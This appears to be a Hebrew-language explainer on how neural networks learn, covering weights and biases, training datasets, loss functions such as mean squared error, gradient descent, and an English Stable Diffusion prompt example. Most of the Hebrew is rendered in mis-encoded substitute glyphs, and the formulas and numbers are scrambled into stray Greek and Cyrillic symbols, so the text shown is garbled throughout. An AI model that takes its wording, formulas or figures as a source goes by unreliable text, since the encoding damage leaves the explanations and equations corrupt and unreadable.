˸˧˴˵ˮˣ˲ ˢ˪˰˲ˢˢ ˪˷ ˸˩˶˰ˬˢ .˶˧˟˯ˮ ˪˰ ˢ˸ˣ˟˧˷˥ ˨˷ˬˢ˟ .˧ˬ ˵ˤ˥˷ ˢ˶˟ˠ˪˞˟ ˸˧˶˞ˮ˧˪ ˫˧˷˧ ˟˪ 

˶˷˲˞˷ ˫ˠ ˟ˣ˸˩˪ ό ὃὡὺ ὦ ,˶˷˞˟ όᶰᴙ ȟὺᶰᴙȟὦɴ ᴙ ˫ˢ ˫˧˶ˣ˦˵ˣ x-ὡᶰὓ ᴙ 

˞˧ˢ ˢ˴˧˶˦ˬ ,-xὃ ˸˪˰ˣ˲ ˪˰ ˪˩ ˟˧˩˶ ˡ˶˲ˮ˟. 

˭ˣ˶˧ˣˮˢ ˫ˡˣ˵ˢ ˫˰ ˫˧˪˵˷ˬˢ ˸ˣ˧˦ˢˢˣ ˸ˣˬˣ˷˶ˢ ,˯˧ˮ˩ˮˣ ˦˪˵˩ м,н,о: 

 

˨˶˰ ˭ˣ˶˧ˣˮˢ ˞ˣˢ ˩˶ˣˬ˞ лȢςz ρ πȢττzς πȢσςzσ ς πȢπτ ,ˢ˶˵ˬ˟ˣ ˢˤ ˞˪ ˫˧˪˧˰˲ˬ 

˸˧˴˵ˮˣ˲ ˢ˪˰˲ˢ ,˶˷˲˞ ˶ˬˣ˪ ˞˧ˢ˷ ˦ˣ˷˲ ὃὼ ὼ. 

˫˧ˮˣ˸ˮ˷˩ ˣˮ˪ ˪˩ ˧˪˵˷ˬ ˫˧˶ˣ˟˧˥ˢ ˸ˣ˧˦ˢˣ ˫˧ˮˣ˶˧ˣˮˢ ,˧˶˥˞ ˫˧˰˟ˣ˵˷ ˸˞ ˫˧˩˶˰ˢ ˪˷ ˧ˮˣ˶˧ˣˮ ˦˪˵ˢ ,

˫˧˟˷˥ˬ ˸˞ ˧˩˶˰ ˫˧ˮˣ˶˧ˣˮˢ ˪˷ ˪˩ ˢ˟˩˷ ˡ˶˲ˮ˟ ,˸˥˞ ˧˶˥˞ ˢ˧˧ˮ˷ˢ ,˧˯ˬˣ˫˧ˬ˧ ˫˰ ˸˟˩˷ ˦˪˲ˢ. 
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˸˧˴˵ˮˣ˲ ˢ˪˰˲ˢ 

ˣˮ˞ ˫˧˴ˣ˶ ˭˧˟˷ ˦˪˵ˢ ˦˪˲˪ ˞˪ ˢ˧ˢ˸ ˸ˣ˪˸ ˸˧˶˞ˮ˧˪ ")ˢ˦ˣ˷˲ ,("˧ˡ˩ ˸˷˶ˢ˷ ˪˩ˣ˸ ˸ˣ˧ˢ˪ ˶˸ˣ˧ ˸˩˟ˣ˯ˬ 

˪˩ˣ˸ˣ ˶ˣ˸˲˪ ˸ˣ˧˰˟ ˸ˣ˥˲ ˸ˣ˧˪˞˧ˣˣ˧˶˦ .˫˷˪ ˨˩ ˣˮ˞ ˫˧˷ˬ˸˷ˬ ˸˧˴˵ˮˣ˲˟ ˢ˪˰˲ˢ .˞˪ˬ˪˞ ˣˮ˧˧ˢ 

˫˧˷ˬ˸˷ˬ ˢ˟ ,˞˪ ˢˮ˷ˬ ˢˬ˩ ˸ˣ˟˩˷ ˸ˣ˧ˣ˟˥ ˣˮ˧˧ˢ ˫˧˲˥ˣˡ ˸˷˶˪ ,˞˧ˢ ˢ˸˧˧ˢ ˢ˪ˣ˵˷ ˸˷˶˪ ˫˧ˮˣ˶˧ˣˮ ˫˰ 

˵˶ ˧˸˷ ˸ˣ˟˩˷ ,˦˪˵ ˦˪˲ˣ) .˶˷˲˞ ˸ˣ˞˶˪ ˸˞ ˢˤ ˨˩˟ ˫˧˟˧˩˶ˬ˷ ˸˞ ˸ˣ˪˸ˢ ό ὡὺ ὦ ˢˬ˩ ˫˧ˬ˰˲ 

˫˧˪˟˵ˬˣ ˸ˣ˪˸ ˢ˸ˣ˞ˬ ˢ˶ˣ˴ˢ.( 

˭˧˞ ˸ˬ˞˟ ˢ˪˟ˠˢ ˪˰ ˸˧˴˵ˮˣ˲ ˢ˪˰˲ˢ ,˳ˣ˥ ˢˤˬ ˞˧ˢ˷ ˢ˧˴˵ˮˣ˲ ˸˧˷ˬˬ .˪˟˞ ˭˩ ˧˞ˡ˩ ˢ˧˴˵ˮˣ˲ˢ˷ ˢ˧ˢ˸ 

˞˪ ˸˧˶˞ˮ˧˪ )˧˯ˢˬˢ˟ ˣˮˠ˴ˢ˷ ˫ˡˣ˵ ,(˪˧˟˷˟ˣ ˸˦˧˷ Gradient Descent ˶˟˯ˣ˸˷ ˨˷ˬˢ˟ ˧˞ˡ˩ ˫ˠ 

ˢ˧˴˵ˮˣ˲ˢ˷ ˢ˧ˢ˸ ˢ˲˧˴˶ ˢ˶˧ˤˠˣ. 

˭ˮ˷˧ ˢˬ˩ ˸ˣ˧˴˵ˮˣ˲ ˢ˪˰˲ˢ ˸ˣ˴ˣ˲ˮ ,ˣˬ˩ ˡ˧˞ˣˬˠ˧˯ˢ „ὼ ,˯ˮˠˮ˦ ˧˪ˣ˟˶˲˧ˢ ὸὥὲὬὼ ,

ˣ˞ ˶˷˧˧ˬˢ ὙὩὒὟὼ άὥὼπȟὼ .˪˩˪ ˢ˧˴˵ˮˣ˲ ˷˧ ˸˞ ˸ˣˮˣ˶˸˧ˢ ˸ˣˮˣ˶˯˥ˢˣ ˢ˪˷ ,˪˷ˬ˪ ˥ˣˣ˦ 

ˢ˧˴˵ˮˣ˲ˢ ˸ˣ˯˥˧˧˸ˢˣ ˫˧˧˪˧˪˷˪ ˫ˢ ˫˧ˮ˧˧˲˞ˬ ˢ˴˶ˮ˷ ˪ˣ˵˷˪ ,˨˞ ˭˲ˣ˞˟ ˭˧˧ˮ˰ˬ ˞˵ˣˣˡ ὙὩὒὟ ˢ˦ˣ˷˲ˢ ˞˧ˢ 

˸˞ˤ ˸ˡ˟ˣ˰˷ ˧˩ˢ ˟ˣ˦ ˟ˣ˶˟ ˫˧˶˵ˬˢ ,˞˧ˢˣ ˧˩ˢ ˢ˴ˣ˲ˮ: 

 

˭ˣˬ˧˞ ˸˷˶ˢ 

˸˰˩ ˸˪˞˷ˮ ˢ˪˞˷ˢ ˨˧˞ ˫˧˰˟ˣ˵ ˢˬ ˫ˢ ˪˵˷ˬˢ˫˧ ˸ˣ˧˦ˢˢˣ ?˭˟ˣˬ˩ ˢˤ˷ ˧ˣ˪˸ ˸˶˦ˬ˟ ˸˷˶ˢ. ˨˶ˣ˴˪ 

˭˧˧ˮ˰ˢ ˣˮ˞ ˫˧˦˵˪ˬ ˸ˣ˧˶˦˲ ˷˧ˣ ˧ˮ˷ ˫˧ˠˣ˯ ˪˷ ˸ˣ˧˶˦˲ ,˸˥˞ ˢ˪˧˩˞ ˸˥˞ˣ ˢ˪˧˰˶ .ˢ˧˰˟ˢ ˞˧ˢ ˧ˮ˷˷ ˧ˠˣ˯ 

˸ˣ˧˶˦˲ˢ ˦˰ˬ˩ ˫˧ˢˤ ˧˶ˬˠ˪ ,˭ˢ ˸ˣˬˣˡ˞ ˪˰ˣ ˪˩ ˸˥˞ ˷˧ ˵ˣ˧ˡ˟ мс ˸ˣˡˣ˵ˮ ˸ˣˮ˟˪ ,˫˧ˬˣ˵˧ˬ˟ ˫˧˰ˣ˟˵ .

˶˟ˡˢ ˡ˧˥˧ˢ ˪˧ˡ˟ˬˢ ˭˧˟ ˧ˮ˷ ˠˣ˯ˢ˫˧ ˞ˣˢ ˶˦ˣ˵ˢ ˪˷ ˪˩ ˢˡˣ˵ˮ ˸˧˲˧˴˲˯ ,˨˞ ˪ˡ˟ˢˢ ˞ˣˢ ˞˪ ˢˤ˩ ˦ˣ˷˲ .
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˭ˣ˧˪ˠ 163, x˧˪˧ нлнп  тп 
 

ˣˮ˞ ˫˧˴ˣ˶ ˸ˣˮ˟˪ ˸˷˶ ˫˰ мс ˧ˮˣ˶˧ˣˮ ˦˪˵ ,˪˩ ˡ˥˞ ˫ˢˬ ˞ˣˢ ˶˦ˣ˵ ˪˷ ˢˡˣ˵ˮ ˪˰ ˢ˧˶˦˲ˢ ,-xн ˧ˮˣ˶˧ˣˮ ˦˪˲ ;

ˢ˪˧˩˞ x˞ ˢ˪˧˰˶ .˫˞ ˨˶˰ ˭ˣ˶˧ˣˮˢ ˡ˥˞ˢ ˪ˣˡˠ ˨˶˰ˬ ˭ˣ˶˧ˣˮˢ ˧ˮ˷ˢ ,ˢ˧˶˦˲ˢ ˢ˪˧˩˞ ,˸˶˥˞ ˞˧ˢ ˢ˪˧˰˶. 

ˣˮ˪ˤˬ˪ ,˪˰ ˪ˡ˟ˢˢ ˢˤˢ ˣ˩˶˰ˮ ˫˧˶˵˥ˬ ˫˧˟˶ ˷˧ˣ ˶ˠ˞ˬ dataset ˫˪˷ ˪˷ ˸ˣ˧˶˦˲ ,˪˩ ˢˬˣ˷˶ ˞˧ˢ ˠˣˤ ˪˷ 

мс ˧˩˶˰ ˦˪˵ˢ ,˧˶˦ˣ˵ ˸ˣˡˣ˵ˮˢ ,-xн ˧˩˶˰ ˦˪˲ ,ˠˣ˯ ˢ˧˧˶˦˲ˢ .˫˴˰˟ ˫˧ˮˣ˸ˮ ˣˮ˪ ˸ˣˠˣˤ ˪˷ ˦˪˵ ˸˷˶˪ 

˸˧ˮˣ˶˧ˣˮˢ ,˦˪˲ˢˣ ˣˮ˥ˮ˞˷ ˫˧˲˴ˬ x˪ .˸˰˩ ,ˢ˴˶ˮ ˭ˬ˞˪ ˸˞ ˸˷˶ˢ ˣˮ˪˷ ˧˲˪ ˰ˡ˧ˬ ˢˤ ,˞˶˵ˮ˷ Training 

Dataset, ˧ˡ˩ ˪˩ˣ˸˷ ˸ˣˤ˥˪ ˸˞ ˠˣ˯ ˢ˧˧˶˦˲ˢ ˣ˪˧˲˞ ˪˷ ˸˥˞ ˞˪˷ ˢ˸˞˶ ˫˪ˣ˰ˬ. 

ˢˮˣˣ˩ˢ ˭ˬ˞˪˟ ˸˷˶ ˞˧ˢ ˞ˣ˴ˬ˪ ˫˧˩˶˰ ˫˧ˬ˧˞˸ˬ ˪˷ ˪˩ ˫˧˪˵˷ˬˢ ˸ˣ˧˦ˢˢˣ )Weights and Biases (˨˩ 

ˢ˧ˢ˸˷ ˢˬ˩ ˶˸ˣ˧˷ ˢ˟ˣ˶˵ ˢˬ˪ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ ,˶ˬˣ˪˩ ,˦˪˲ˢ˷ ˪˷ ˫˧˦˪˵ˢ ˫˧ˮˣ˸ˮˢ ˟-Training 

Dataset ˢ˧ˢ˧ ˢˬ˩ ˶˸ˣ˧˷ ˟ˣ˶˵ ˦˪˲˪ ˢ˲ˣ˴ˬˢ ˭ˣ˸ˮ˷ ˫ˠ ˞ˣˢ ˟-dataset .˶˷˲˞ ˦ˣ˷˲ ˶ˣ˥˟˪ ˫˧˩˶˰ 

˫˧˧˪ˬˣˡˮ˶ ˫˧˪˵˷ˬ˪ ˸ˣ˧˦ˢ˪ˣ ,˨˞ ˶˧˟˯ ˫ˠ˷ ˦˪˲ˢ ˢ˧ˢ˧ ˧˪ˬˣˡˮ˶ ˞˪ˣ ˶ˣ˷˵ ˪˪˩˟ ˢˬ˪ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶. 

˭ˣ˧˰˶ˢ ˪˷ ˢˬ ˢ˷˰ˮ˷ ,ˢˤ ˭˥˟ˮ˷ ˸˞ ˸˷˶ˢ ˪˰ ˰ˡ˧ˬˢ ˣˮ˪˷ ,˪˩ˣ ˫˰˲ ˪˩ˣˮ ˶˲˷˪ ˢ˸ˣ˞ ˢ˲˧˦ ˸ˣ˰˴ˬ˞˟ 

˧˶ˣˠ˪˞˫˸ ˢ˧˴ˤ˧ˬ˧˦˲ˣ˞. 

ˢ˪˧˥˸˟ ,˶˥˟ˮ ˫˧˩˶˰ ˫˧˧˸ˣ˶˧˶˷ ˪˩˪ ˫˧˪˵˷ˬˢ ˸ˣ˧˦ˢˢˣ ˫ˢˬ˷ ˸˷˶ˢ ˪˩ˣ˸ ˶˲˸˷ˢ˪ .˸˰˩ ,˪˩ˣˮ 

˯˧ˮ˩ˢ˪ ˢ˪ ˸˞ ˰ˡ˧ˬˢ ˣˮ˸ˣ˷˶˟˷ ˢˬ-dataset ˸ˣ˞˶˪ˣ ˢˬ˩ ˞˧ˢ ˢ˥˧˪˴ˬ .˟˷˥ˮ ˸˞ ˸ˣ˪˰ˢ Cost ˢ˪˷ 

˸ˣ˰˴ˬ˞˟ ˢˬ ˞˶˵ˮ˷ ˸˧˧˴˵ˮˣ˲ ˸ˣ˪˰ )Loss/Cost Function .(ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ,ˢ˴˶ˮ ˪˟˶˵ ˸˞ ˸ˣ˰˦ˢ ˣˤˢ 

˯˲˞˪ ,ˣ˞ ˣˢ˷ˤ˧˞˪ ˫ˣˬ˧ˮ˧ˬ ˧ˬˣ˵ˬ )˧˪˟ˣ˪ˠ ˸˞ˤ ˢ˧˰˟ ˢ˷˵ ˶˸ˣ˧ .(˨˧˪ˢ˸ˢ ˢˤˢ ˞ˣˢ ˣ˶˵˰˟ ˪˷ ˶˟ˡ ,

ˢ˧˰˟ ˸˧˯˞˪˵ ˪˷ ˢ˧˴ˤ˧ˬ˧˦˲ˣ˞ )˵˶ ˢ˶˵ˬ˟˷ ˢˤ ˫˧˴ˣ˶ ˫ˣˬ˧ˮ˧ˬ ˞˪ˣ ˫ˣˬ˧˯˵ˬ.( 

 

˸˧˧˴˵ˮˣ˲ ˸ˣ˪˰ 

ˤ˞ ˢˬ ˢˤ ˸˧˧˴˵ˮˣ˲ ˸ˣ˪˰ˢ )Loss/Cost Function ?(˸˧˧˴˵ˮˣ˲ ˸ˣ˪˰ˢ ,˞˧ˢ l˨˶ ˟˷˥˪ ˢˬ˩ ˸˷˶ 

˫˧ˮˣ˶˧ˣˮˢ ˣˮ˪˷ ˢ˟ˣ˦ ˰ˠ˶˩ .˞˧ˢ ˸˪˟˵ˬ ˦˪˵˩ ˸˞ ˸˩˶˰ˬˢ )˶˷˲˞ ˫ˠ ˟ˣ˷˥˪ ˪˰ ˢˤ ˪˩˩ ˫˧˪˵˷ˬˢ 

˸ˣ˧˦ˢˢˣ ,(ˢ˶˧ˤ˥ˬˣ ˶˲˯ˬ ˧˷ˬˬ ˪ˬ˯ˬˢ ˸˞ ˸ˣ˪˰ˢ x˞ ˢ˞˧ˠ˷ˢ ˪˷ ˸˩˶˰ˬˢ .ˢ˧˴˵ˮˣ˲ˢ "ˢ˯ˮˬ "˸˞ 

˸˷˶ˢ ˪˰ s-Training Dataset ˢ˪˷ ˧˲˪ˣ ˢˤ ˢ˰˧ˠˬ ˸ˣ˪˰˪ .˸˥˞ ˸ˣ˦˧˷ˢ ˟˷˥˪ ˸˞ ˰ˢ˸ˣ˪ ˞˧ˢ "Mean 

Squared ;"˶ˣ˟˰ ˦˪˵ ˢˬ-Training Dataset ,˫˧˟˷˥ˬ ˸˞ ˷˶˲ˢˢ ˭˧˟ ˦˪˲ˢ ˪˷ ˸˩˶˰ˬˢ ˪˰ˣ˲˟ ˭˧˟˪ 

˦˪˲ˢ ˢ˲ˣ˴ˬˢ ,˫˧˪˰ˬ ˪˩ ˢ˯˧ˮ˩ ˪˷ ˶ˣ˦˵ˣ ˷˶˲ˢˢ )ˣ˶˩ˤ !˦˪˵ˢ ˦˪˲ˢˣ ˫ˢ ˫˧˶ˣ˦˵ˣ (˰ˣ˟˧˶˟ ˫˧ˬ˩ˣ˯ˣ 

˸˞ ˸ˣ˯˧ˮ˩ˢ ˸˪˟˵˪ ˨˶˰ ˧˶˪˵˯ ˡˡˣ˟ .ˢ˧˴˵ˮˣ˲ˢ ˢ˷ˣ˰ ˸˞ˤ ˪˩˪ ˦˪˵ ˢˬ-Training Dataset ,ˢ˶˧ˤ˥ˬˣ 

˸˞ ˰˴ˣˬˬ ˫˧˩˶˰ˢ ˣ˪˪ˢ. 
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˸ˣ˧˰˟ ˭ˣ˴˧˵ 

˟˪˷ˢ ˞˟ˢ ˞ˣˢ ˶˲˷˪ ˸˞ ˸˩˶˰ˬˢ .˪˧˟˷˟ ˢˤ ,˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˫˸˧˶ˣˠ˪˞˟ ˢ˧˴ˤ˧ˬ˧˦˲ˣ˞ ˭ˣˠ˩ Gradient 

Descent .ˢˬ˶˟ ˸˧˟˧˦˧˞ˣ˦ˮ˧˞ˢ ,˫˞ ˟ˣ˷˥ˮ ˪˰ ˸ˣ˰˦ˢ ˱˶ˠ˩ )˪˷ ˸˧˧˴˵ˮˣ˲ s-Cost ˸ˣ˪˸˩ ˧˩˶˰˟ ˪˩ 

˫˧˪˵˷ˬˢ ˸ˣ˧˦ˢˢˣ ,(˥˵˧ˮ ˧˞ˣˢˤ ˡ˰˴ ˭˦˵ ˭ˣˣ˧˩˟ ˡ˶ˣˬˢ - ˭ˣˣ˧˩˪ ˫ˣˬ˧ˮ˧ˬ ˧ˬˣ˵ˬ. 

˫˞ ˶ˣˤ˥ˮ ˪˰ ˨˧˪ˢ˸ˢ ˵˧˲˯ˬ ˫˧ˬ˰˲ ,˪˩ˣˮ ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ˯ˮ˩˸ˢ˪ ˫ˣˬ˧ˮ˧ˬ˪ ˧ˬˣ˵ˬ ,ˤ˞ˣ ˸˩˶˰ˬˢ ˪˩ˣ˸ 

ˢ˧˶ˣ˞˧˸˟ ˪˧˴ˢ˪ ˣˮ˸ˣ˞ ˸ˣ˧˶˦˲ˢˬ ˞˪ˢ ˸ˣˬ˧˰˦. 

ˤ˞ ˨˧˞ ˫˧˷ˣ˰ ˸˞ ˢˤ ?˶ˣˬ˞˩ ˷˧ ˪˷ˬ˪ ˸˞ ˫˸˧˶ˣˠ˪˞ˢ Gradient Descent ,˪˟˞ ˨˧˞ ˞ˣˢ ˸ˬ˞˟ ˡ˟ˣ˰? 

˶˧˟˯ˮ ˸˞ ˭ˣ˶˵˧˰ˢ .˸ˬ˞˟ ,˭˸˧ˮ ˟ˣ˷˥˪ ˪˰ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸ˣ˰˦ˢ ˱˶ˠ˩ .˨˶ˡ˟ ˪˪˩ ˸ˣ˸˷˶˟ ˫˧ˮˣ˶˧ˣˮ ˞ˣˢ 

ˢ˧ˢ˧ ˡˬ˧ˬ˟ ˡˣ˞ˬ ˪ˣˡˠ )ˢˤ ˢ˧˴˵ˮˣ˲ ˪˰ ˪˩ ˫˧˪˵˷ˬˢ ˸ˣ˧˦ˢˢˣ ,(˨˞ ˫˷˪ ˸ˣ˦˷˲ˢ ˥˧ˮˮ ˷˧˷ ˵˶ ˶˦ˬ˶˲ 

ˡ˥˞: 

 

˥˧ˮˮ ˪˧˥˸ˮ˷ ˢˡˣ˵ˮ˟ ˨˶˰˷ s-x ˢ˪˷ ˞ˣˢ м .ˣˮ˞ ˫˧˞ˣ˶ ˢ˞˧ˠ˷ˢ˷ ˞˧ˢ п.нфп .ˢ˶˦ˬˢ ˣˮ˪˷ ˢˤ ˨˧ˬˮˢ˪ 

˸˞ ˢ˞˧ˠ˷ˢ ,˶ˬˣ˪˩ ˞ˣ˴ˬ˪ ˫ˣˬ˧ˮ˧ˬ ˧ˬˣ˵ˬ )ˢ˧˶ˣ˞˧˸˟ ˢ˴˶ˮ ˧˪˟ˣ˪ˠ ,˨˞ ˸˞ˤ ˢ˧˰˟ ˢ˷˵ ˢ˟˶ˢ ˶˸ˣ˧ .(

˫˧˷ˮ ˟˪ ,˫ˣˬ˧ˮ˧ˬˢ˷ ˢ˧ˢ˧ ˡ˧ˬ˸ ˟"ˡ˶ˣˬ "ˢ˧˴˵ˮˣ˲ˢ ˫ˣ˵ˬˢˬ x˟ ˣˮ˞ ˫˧ˡˬˣ˰ ,ˤ˞ ˪˩ ˢˬ ˨˧˶˴˷ ˸ˣ˷˰˪ ˢˤ 

"˵˧˪˥ˢ˪ "ˡ˶ˣˬ˟ ˰˧ˠˮˣ ˢˡˣ˵ˮ˪ ˢ˧ˣ˴˶ˢ !˪˟˞ ˨˧˞ ˰ˡˮ ˢˤ˧˞˟ ˭ˣˣ˧˩ ˡ˶ˣˬˢ ?ˢ˲ ˸˯ˮ˩ˮ ˸˶ˤˠˮˢ ! 
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˟˷˥ˮ ˸˞ ˸˶ˤˠˮˢ ˢˡˣ˵ˮ˟ ˸˞ˤ: 

 

˸˶ˤˠˮˢ ˸˶ˬˣ˞ ˣˮ˪ ˢˬ˩ ˫˧˶˟ˡ :ˢˤ˧˞˟ ˭ˣˣ˧˩ ˫ˣˬ˧ˮ˧ˬˢ ,ˢˬ˩ˣ ˵ˣ˥˶ ˞ˣˢ )˨˶˰˟ .(˫˞ ˸˶ˤˠˮˢ ˸˧˪˧˪˷ ,ˣˬ˩ 

ˢ˲ ,ˢˤ ˶ˬˣ˞ ˢ˧˴˵ˮˣ˲ˢ˷ ˸ˡ˶ˣ˧ ˣ˧˷˩˰ ˣˮ˥ˮ˞ˣ ˫˧˩˧˶˴ ˫ˡ˵˸ˢ˪ ˢˬ˧ˡ˵ .˫˞ˣ ˞˧ˢ ˸˧˟ˣ˧˥ ,ˢˤ ˶ˬˣ˞ ˞˧ˢ˷ 

ˢ˪ˣ˰ ,ˣˮ˥ˮ˞ˣ ˫˧˩˧˶˴ ˶ˣˤ˥˪ ˢ˶ˣ˥˞ .˱˯ˣˮ˟ ,˫˧˷ˮ ˟˪ ˪˩˩˷ ˢˡ˧˶˧ˢ˷ ˢˡ˥ ˶˸ˣ˧ ,ˢˬ ˤˬˣ˶˷ ˫ˣˬ˧ˮ˧ˬˢ˷ 

˵ˣ˥˶ ˶˸ˣ˧ ,˸˶ˤˠˮˢ ˢ˧ˢ˸ ˢ˪ˣˡˠ ˶˸ˣ˧ .ˢ˯ˮˮ ˫˧˷˪ ˸˞ ˢˤ ˡ˥˧˟ :ˣˮ˞ ˫˧˴ˣ˶ ˪˩˩˷ ˨˶˰˷ ˸˶ˤˠˮˢ ˢ˧ˢ˧ 

ˢˣ˟ˠ ˶˸ˣ˧ ,˫ˡ˵˸ˮ ˶˸ˣ˧ ,˫ˡ˵˸ˮ˷ˣ x˞ ˶ˣˤ˥ˮ ˧˲˪ ˭ˬ˧˯ˢ ˢ˪˷ .ˤ˞ ˢ˞˶ˮ ˶˷˲˞˷ ˦ˣ˷˲ ˢ˪˱˧˯ˣ ˪-ὼ ˧˥˩ˣˮˢ 

ˣˮ˪˷ ˸˞  

˸˶ˤˠˮˢ :ὼ ὼ Ὢᴂὼ .˟˧˴ˮ ˸˞ ˫˧˩˶˰ˢ ˣˮ˪˷ :ὼ ρ ρȢυυω πȢυυω ,˪˟˞ ˰ˠ˶ ,ˣˮ˶ˤ˥ 

ˢ˶ˣ˥˞ ˫ˣ˵ˬ˟ ˫ˡ˵˸ˢ˪ ˢˬ˧ˡ˵ !ˢˬ ˢ˶˵˷ ˢˤ ˣˮ˥ˮ˞˷ ˫˧˩˧˶˴ ˨ˣ˲ˢ˪ ˸˞ ˭ˬ˧˯ˢ ˪˷ ˸˶ˤˠˮˢ .ˢ˲ ˞˧ˢ 

˸˧˪˧˪˷ ,˨˞ ˞˧ˢ ˢ˶ˣˬ˞ ˱˧˯ˣˢ˪ ˨˶˰˪ .˭˩˪ ˢ˥˯ˣˮˢ ˣ˩ˮˢˢˮ ˞˧ˢ :ὼ ὼ Ὢᴂὼ .ˢˡˣ˵ˮˢˣ ˢ˞˟ˢ 

˞˧ˢ: 
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ˢ˷˰ˮ ˡˣ˰ ˢˬ˩ ˸ˣ˧˴˶˦˧˞ ˸ˣ˞˶˪ ˢˤ˷ ˸ˬ˞˟ ˡ˟ˣ˰: 

 

˶˷˲˞ ˸ˣ˞˶˪ ˫˧˩˶˰ˢ˷ ˸ˬ˞˟ ˫˧˟˶˵˸ˬ ˫ˣˬ˧ˮ˧ˬ˪ ˷˵ˣ˟ˬˢ ,ˢ˶˵ˬ˟˷ ˢˤ ,˞ˣˢ п .ˣˮ˞ ˫ˠ ˫˧˞ˣ˶ 

˫˸˧˶ˣˠ˪˞ˢ˷ ˥˵˪ ˫˧ˡ˰˴ ˫˧˪ˣˡˠ ˶˸ˣ˧ ˪˩˩ ˣˮ˧˧ˢ˷ ˫˧˵ˣ˥˶ ˶˸ˣ˧ ,˫˧ˮ˦˵ˣ ˣˮ˟˶˵˸ˢ˷˩ . 

˸˷˶˟ ˫˧ˮˣ˶˧ˣˮ ,˫˧˲˧˯ˣˬ ˫ˠ ˨˶ˡ˟ ˪˪˩ ˢˮ˸˷ˬ ;ὰὩὥὶὲὭὲὫὶͅὥὸὩ .˫˧˪˧˲˩ˬ ˣ˸ˣ˞ ˸˶ˤˠˮ˟ ˨˩ ˢ˥˯ˣˮˢ˷ 

ˢ˧ˢ˸: ὼ ὼ ὰὩὥὶὲὭὲὫὶͅὥὸὩὪzᴂὼ .ˢˤ ˡ˰ˣˮ ˰ˣˮˬ˪ ˫˸˧˶ˣˠ˪˞ˢˬ ˸ˣ˷˰˪ ˫˧ˡ˰˴ ˫˧˪ˣˡˠ ˧ˡˬ 

˫˧˪ˣ˪˰˷ ˵˥˶˸ˢ˪ ˶˸ˣ˧ ˫ˣˬ˧ˮ˧ˬˢˬ ,˞˪ˣ ˫˧ˮ˦˵ ˧ˡˬ ˧ˡ˩ ˸˩˶˰ˬˢ˷ ˡˬ˪˸ ˶ˢˬ .˪˩˪ ˸˩˶˰ˬ ˫˧ˮˣ˶˧ˣˮ ˪ˣ˩˧ 

˫˧˞˸ˢ˪ ˨˶˰ ˶˥˞ ˢˮ˸˷ˬ˪ ˢˤ ˶ˣ˟˰ ˢˡ˧ˬ˪ ˢ˪˧˰˧ )ˣ˪˧˲˞ˣ ˷˧ ˫˧ˬ˸˧˶ˣˠ˪˞ ˫˧ˮ˷ˬ˷ ˣ˸ˣ˞ ˨ˣ˸ ˧ˡ˩ 

ˢˡ˧ˬ˪ˢ ˪˷ ˸˷˶ˢ .(˸˰˩ ,ˣˮ˟ˢ˷˩ ˨˧˞ ˫˸˧˶ˣˠ˪˞ˢ ˡ˟ˣ˰ ˱˶ˠ˟ xl-˧ˡˬ˧ˬ ,˸˶˞˷ˮ ˢ˪˞˷ˢ ˢˬ ˫˧˷ˣ˰ 

˫˧ˡˬ˧ˬ˟ ˫˧˪ˣˡˠ ˶˸ˣ˧ .˭˰ˬ˪ ˸ˬ˞ˢ ,ˢˤ ˦˰ˬ˩ ˞˪ ˮ˷ˬ s˫ˣ˪˩ .˶˷˲˞ ˪˰ ˪˩ ˢˮ˸˷ˬ ˱˯ˣˮ ˪˩˸˯ˢ˪ ˪˰ 

˶ˣ˷˧ˬˢ ˣˡˢ-˧ˡˬ˧ˬ ˫˧˞˸ˬˢ x˪ ˢˡˣ˵ˮ˟ ˫˧˞˴ˬˮ˷ ˢ˟ ,˨˧˷ˬˢ˪ˣ ˣˬ˩ ˣˮ˧˷˰˷ ˢ˶˵ˬ˟ ˣˡˢ-˧ˡˬ˧ˬ: 
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˧ˢˣˤ ,˸ˣ˦˷˲˟ ,˸˷˶ ˫˧ˮˣ˶˧ˣˮ .˫˧˶˟ˡˢ ˫˧˩˟˸˯ˬ ˭˞˩ˬ ,˨˞ ˰ˡ˧ˬˢ ˧˯˧˯˟ˢ ˢˤˢ ˞ˣˢ ˢˬ ˟ˣ˷˥˷ ˸˰ˡ˪ 

˫˧˵˶˲˪ ˫˧˞˟ˢ .ˢˬ ˫ˠ ˧ˮ˷˷ ˧˟˸ˣ˩ ˶ˬ˞ˬ ˢˤ ˡˣ˰ ˞˪ ˣ˥˵˪ ˫˧˯˶ˣ˵ ˫˧˧ˮ˧˴˶ ˣˡ˥˟"˞ ˸ˣ˶˟˸˯ˢˣ ,˞˪ˣ 

˫˧˰ˡˣ˧ ˨˧˞ ˵˯˰˸ˢ˪ ˫˰ ˸ˣ˶ˤˠˮ ˪˷ ˸ˣ˧˴˵ˮˣ˲ ˟˶ ˸ˣ˧ˡˬ˧ˬ x˞ ˸ˣ˧ˣˠ˪˲˸ˢ ˪˷ ˫˧ˮ˸˷ˬ ˪˩ˣ ˞˴ˣ˧ˢ ˨˩˟. 

 

 ˡ˴˧˩Stable Diffusion ?ˡ˟ˣ˰ 

Stable Diffusion ˢˤ ˪ˡˣˬ ˢˮ˧˟ ˸˧˸ˣ˩˞˪ˬ ˪˷ text-to-image ,˶ˬˣ˪˩ ˞ˣˢ ˪˟˵ˬ ˦˯˵˦ ˞˧˴ˣˬˣ ˢˮˣˬ˸ .

˥ˣˮ˧ˬ ˟ˣ˷˥˷ ˶˧˩ˢ˪ ˞ˣˢ ˦˲ˬˣ˶˲ Prompt ,ˢˤ˷ ˦˯˵˦ˢ ˪ˡˣˬˢ˷ ˪˟˵ˬ ˦˪˵˩. 

˪˧˥˸ˮ ˫˰ ˢˬˠˣˡ ˸˧ˮ˸ˣˣ˞˶ .˯˧ˮ˩ˮ ˪ˡˣˬ˪ ˸˞ ˦˲ˬˣ˶˲ˢ ˞˟ˢ: 

"An image of a peaceful lake surrounded by mountains, with crystal-clear water reflecting the 

majestic landscape in the background. The sun is setting, casting a warm orange glow over the 

scene. A small dock with a canoe is visible, inviting exploration of the serene surroundings.ò 

˪ˡˣˬˢ ˡ˟˰ˬ ˸˞ ˢˤ ,˶˥˞˪ˣ ˸˴˵ ˭ˬˤ ˶˴˧˧ˬ ˸˞ ˢˮˣˬ˸ˢ: 

 

